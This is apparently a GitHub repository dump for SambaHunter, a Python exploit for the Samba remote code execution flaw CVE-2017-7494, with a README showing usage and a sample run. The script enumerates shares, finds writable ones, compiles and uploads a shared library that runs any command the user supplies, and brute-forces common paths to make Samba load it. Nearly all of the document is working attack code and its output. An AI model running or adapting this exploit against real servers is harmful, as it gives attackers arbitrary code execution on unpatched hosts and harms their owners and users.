├── README.md ├── example.jpeg └── sambahunter.py /README.md: -------------------------------------------------------------------------------- 1 | # SambaHunter 2 | It is a simple script to exploit RCE for Samba (CVE-2017-7494). 3 | 4 | Now works with Python3. Many of the required Python2 libraries are deprecated (e.g. `commands`) 5 | 6 | Added logging to show which shares are writeable. If 'Exploit Finished' appears but no shares are writeable, the exploit didn't work. 7 | 8 | # Requirements 9 | * sudo apt-get install smbclient 10 | * pip install pysmbclient 11 | 12 | # Usage 13 | ``` 14 | # python3 sambahunter.py -h 15 | 16 | 17 | ____ _ _ _ _ 18 | / ___| __ _ _ __ ___ | |__ __ _| | | |_ _ _ __ | |_ ___ _ __ 19 | \___ \ / _` | '_ ` _ \| '_ \ / _` | |_| | | | | '_ \| __/ _ \ '__| 20 | ___) | (_| | | | | | | |_) | (_| | _ | |_| | | | | || __/ | 21 | |____/ \__,_|_| |_| |_|_.__/ \__,_|_| |_|\__,_|_| |_|\__\___|_| 22 | 23 | # Exploit Author: avfisher (https://github.com/brianwrf) 24 | # Samba 3.5.0 - 4.5.4/4.5.10/4.4.14 Remote Code Execution 25 | # CVE-2017-7494 26 | # Help: python sambahunter.py -h 27 | 28 | usage: sambahunter.py [-h] [-s SERVER] [-c COMMAND] 29 | 30 | optional arguments: 31 | -h, --help show this help message and exit 32 | -s SERVER, --server SERVER 33 | Server to target 34 | -c COMMAND, --command COMMAND 35 | Command to execute on target server 36 | ``` 37 | 38 | # Example 39 | ``` 40 | # python3 sambahunter.py -s 192.168.1.106 -c 'uname -a > /tmp/u.txt' 41 | 42 | 43 | ____ _ _ _ _ 44 | / ___| __ _ _ __ ___ | |__ __ _| | | |_ _ _ __ | |_ ___ _ __ 45 | \___ \ / _` | '_ ` _ \| '_ \ / _` | |_| | | | | '_ \| __/ _ \ '__| 46 | ___) | (_| | | | | | | |_) | (_| | _ | |_| | | | | || __/ | 47 | |____/ \__,_|_| |_| |_|_.__/ \__,_|_| |_|\__,_|_| |_|\__\___|_| 48 | 49 | # Exploit Author: avfisher (https://github.com/brianwrf) 50 | # Samba 3.5.0 - 4.5.4/4.5.10/4.4.14 Remote Code Execution 51 | # CVE-2017-7494 52 | # Help: python sambahunter.py -h 53 | 54 | [*] Exploiting RCE for Samba (CVE-2017-7494 )... 55 | [*] Server: 192.168.1.106 56 | [*] Samba version: Samba 4.3.8-Ubuntu 57 | [*] Generate payload succeed: /root/samba_14506.so 58 | [+] Brute force exploit: /volume1/samba_14506.so 59 | [+] Brute force exploit: /volume2/samba_14506.so 60 | [+] Brute force exploit: /volume3/samba_14506.so 61 | [+] Brute force exploit: /shared/samba_14506.so 62 | [+] Brute force exploit: /mnt/samba_14506.so 63 | [+] Brute force exploit: /mnt/usb/samba_14506.so 64 | [+] Brute force exploit: /media/samba_14506.so 65 | [+] Brute force exploit: /mnt/media/samba_14506.so 66 | [+] Brute force exploit: /var/samba/samba_14506.so 67 | [+] Brute force exploit: /tmp/samba_14506.so 68 | [+] Brute force exploit: /home/samba_14506.so 69 | [+] Brute force exploit: /home/shared/samba_14506.so 70 | [*] Exploit finished! 71 | ``` 72 | ![](https://raw.githubusercontent.com/brianwrf/SambaHunter/master/example.jpeg) 73 | -------------------------------------------------------------------------------- /example.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/brianwrf/SambaHunter/6e4e97e97bbe9416be98fc77f0e961e7628fc318/example.jpeg -------------------------------------------------------------------------------- /sambahunter.py: -------------------------------------------------------------------------------- 1 | # coding=utf-8 2 | # Exploit Title: Samba 3.5.0 - 4.5.4/4.5.10/4.4.14 Remote Code Execution 3 | # Date: 2017-05-31 4 | # Exploit Author: avfisher (https://github.com/brianwrf/SambaHunter) 5 | # Vendor Homepage: https://www.samba.org/ 6 | # Software Link: https://www.samba.org/samba/download/ 7 | # Version: 3.5.0 - 4.5.4/4.5.10/4.4.14 8 | # Tested on: Ubuntu 16.04 9 | # CVE : CVE-2017-7494 10 | 11 | import subprocess 12 | import sys 13 | import re 14 | import smbclient 15 | import os 16 | import argparse 17 | 18 | share_type = [ 'DISK', 'PRINTER', 'DEVICE', 'IPC', 'SPECIAL', 'TEMPORARY' ] 19 | share_common_location = [ '/volume1', '/volume2', '/volume3', '/shared', '/mnt', '/mnt/usb', '/media', '/mnt/media', '/var/samba', '/tmp', '/home', '/home/shared' ] 20 | temp_file_name = "temp_file" 21 | 22 | def generate_payload(file_name, cmd): 23 | content = ''' 24 | # include 25 | # include 26 | int samba_init_module() 27 | { 28 | system("%s"); 29 | return 0; 30 | }''' % cmd 31 | 32 | payload = open(file_name + ".c", 'wb') 33 | payload.write(content.strip()) 34 | payload.close() 35 | 36 | compile_cmd = "gcc %s.c -shared -fPIC -o %s.so" % (file_name, file_name) 37 | res = subprocess.run(compile_cmd.split(), capture_output=True, text=True) 38 | status = res.returncode 39 | output = res.stdout 40 | if status == 0: 41 | print("[*] Generate payload succeed: %s.so" % (os.path.dirname(os.path.realpath(__file__)) + '/' + file_name)) 42 | return file_name 43 | else: 44 | print("[!] Generate payload failed!") 45 | exit() 46 | 47 | def connect_smb(server, share_name): 48 | smb = smbclient.SambaClient(server=server, share=share_name) 49 | return smb 50 | 51 | def verify_writeable_directory(smb, share_name): 52 | file_name = temp_file_name 53 | temp_file = open(file_name, 'w') 54 | temp_file.write('test') 55 | temp_file.close() 56 | smb.upload(file_name, file_name) 57 | if file_name in smb.listdir("/"): 58 | print("Directory " + share_name + " is writeable") 59 | try: 60 | smb.remove(file_name) 61 | except Exception as err: 62 | pass 63 | return True 64 | return False 65 | 66 | def upload_payload(smb, cmd): 67 | payload_name = 'samba_' + str(os.getpid()) 68 | payload = generate_payload(payload_name, cmd) 69 | try: 70 | smb.upload(payload + '.so', payload + '.so') 71 | except Exception as err: 72 | pass 73 | os.remove(payload + '.so') 74 | os.remove(payload + '.c') 75 | return payload 76 | 77 | def brute_force_location(payload): 78 | paths = [] 79 | for location in share_common_location: 80 | paths.append(location + '/' + payload + '.so') 81 | return paths 82 | 83 | def exploit(server, path): 84 | print("[+] Brute force exploit: %s" % path) 85 | cmd = "smbclient //%s/IPC$ -k -c 'open %s'" % (server, path) 86 | res = subprocess.run(cmd.split(), capture_output=True, text=True) 87 | status = res.returncode 88 | output = res.stdout 89 | 90 | def scan_share(server, share_name, cmd): 91 | print("Scanning share: " + share_name) 92 | try: 93 | smb = connect_smb(server, share_name) 94 | if verify_writeable_directory(smb, share_name): 95 | payload = upload_payload(smb, cmd) 96 | paths = brute_force_location(payload) 97 | for path in paths: 98 | exploit(server, path) 99 | try: 100 | smb.remove(payload + '.so') 101 | except Exception as err: 102 | pass 103 | smb.close() 104 | except Exception as err: 105 | pass 106 | 107 | def main(): 108 | banner = """ 109 | 110 | ____ _ _ _ _ 111 | / ___| __ _ _ __ ___ | |__ __ _| | | |_ _ _ __ | |_ ___ _ __ 112 | \___ \ / _` | '_ ` _ \| '_ \ / _` | |_| | | | | '_ \| __/ _ \ '__| 113 | ___) | (_| | | | | | | |_) | (_| | _ | |_| | | | | || __/ | 114 | |____/ \__,_|_| |_| |_|_.__/ \__,_|_| |_|\__,_|_| |_|\__\___|_| 115 | 116 | # Exploit Author: avfisher (https://github.com/brianwrf) 117 | # Samba 3.5.0 - 4.5.4/4.5.10/4.4.14 Remote Code Execution 118 | # CVE-2017-7494 119 | # Help: python sambahunter.py -h 120 | """ 121 | print(banner) 122 | parser = argparse.ArgumentParser() 123 | parser.add_argument("-s", "--server", help="Server to target", type=str) 124 | parser.add_argument("-c", "--command", help="Command to execute on target server", type=str) 125 | args = parser.parse_args() 126 | 127 | server = '' 128 | cmd = '' 129 | 130 | if args.server: 131 | server = args.server 132 | if args.command: 133 | cmd = args.command 134 | 135 | if server and cmd: 136 | print("[*] Exploiting RCE for Samba (CVE-2017-7494)...") 137 | print("[*] Server: %s" % server) 138 | list_share_cmd = "smbclient -L %s -N" % (server) 139 | res = subprocess.run(list_share_cmd.split(), capture_output=True, text=True) 140 | status = res.returncode 141 | output = res.stdout 142 | if status == 0: 143 | print(output) 144 | shares = output.split('\n\t') 145 | for share in shares: 146 | if 'Samba' in share: 147 | match = re.search('.*(Samba.*?)].*', share) 148 | if match: 149 | print("[*] Samba version: %s" % match.group(1)) 150 | for type in share_type: 151 | if type.lower() in share.lower(): 152 | share_name = share.split(" ")[0] 153 | scan_share(server, share_name, cmd) 154 | print("[*] Exploit finished!") 155 | else: 156 | print("[!] Exploit failed!") 157 | exit() 158 | os.remove(temp_file_name) 159 | 160 | if __name__ == '__main__': 161 | main() 162 | --------------------------------------------------------------------------------